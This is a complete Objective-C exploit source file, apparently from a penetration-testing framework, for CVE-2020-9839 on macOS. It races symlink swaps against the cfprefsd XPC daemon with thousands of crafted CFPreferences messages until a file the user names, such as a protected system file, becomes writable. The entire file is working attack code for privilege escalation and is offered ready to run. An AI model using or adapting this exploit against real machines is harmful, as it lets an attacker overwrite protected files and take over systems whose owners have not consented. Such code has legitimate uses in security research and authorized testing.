external/source/exploits/CVE-2020-9839/exploit.m
#include <sandbox.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pwd.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <xpc/xpc.h>
#include <pthread.h>
char *TARGET;
char *WRITABLE;
char *USER;
const int COUNT = 10000;
int status = 0;
bool pwned = false;
void *race(void *arg) {
while(!pwned) {
symlink(TARGET, "!");
unlink("!/a.plist");
rmdir("!");
unlink("!");
}
return NULL;
}
void exploit() {
char *serviceName = "com.apple.cfprefsd.daemon";
status = 0;
xpc_connection_t conn;
xpc_object_t msg;
conn = xpc_connection_create_mach_service(serviceName, NULL, 0);
if (conn == NULL) {
perror("xpc_connection_create_mach_service");
return;
}
xpc_connection_set_event_handler(conn, ^(xpc_object_t obj) {
status++;
});
xpc_connection_resume(conn);
msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(msg, "CFPreferencesOperation", 1);
xpc_dictionary_set_string(msg, "CFPreferencesUser", USER);
char writable_subpath[0x1000];
sprintf(writable_subpath, "%s%s", WRITABLE, "/!/a.plist");
xpc_dictionary_set_string(msg, "CFPreferencesDomain", writable_subpath);
xpc_dictionary_set_bool(msg, "CFPreferencesUseCorrectOwner", true);
xpc_dictionary_set_bool(msg, "CFPreferencesAvoidCache", true);
xpc_dictionary_set_string(msg, "Key", "key");
xpc_dictionary_set_string(msg, "Value", "value");
for(int i = 0; i < COUNT; i++) {
xpc_connection_send_message(conn, msg);
}
while(status < COUNT) {
usleep(100000);
}
}
void *pwn(void *arg) {
while(1) {
int testaccess = access(TARGET, W_OK);
if(!testaccess) {
printf("pwned! %s is now writable!\n", TARGET);
pwned = true;
break;
} else {
perror("access");
}
usleep(1000000);
}
return NULL;
}
static void
connection_handler(xpc_connection_t peer)
{
xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {
printf("Message received: %p\n", event);
});
xpc_connection_resume(peer);
}
void make_writable(char * target) {
struct passwd *pw = getpwuid(getuid());
if(!pw) {
perror("getpwuid");
exit(1);
}
WRITABLE = pw->pw_dir;
USER = pw->pw_name;
TARGET = target;
setvbuf(stdout, 0, 2, 0);
chdir(WRITABLE);
pthread_t thread[2];
pthread_create(&thread[0], NULL, race, NULL);
pthread_create(&thread[1], NULL, pwn, NULL);
while(!pwned) {
printf("Trying %d calls...\n", COUNT);
exploit();
}
unlink("!/a.plist");
rmdir("!");
unlink("!");
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s /file/to/make/writable\n", argv[0]);
return -1;
}
make_writable(argv[1]);
return 0;
}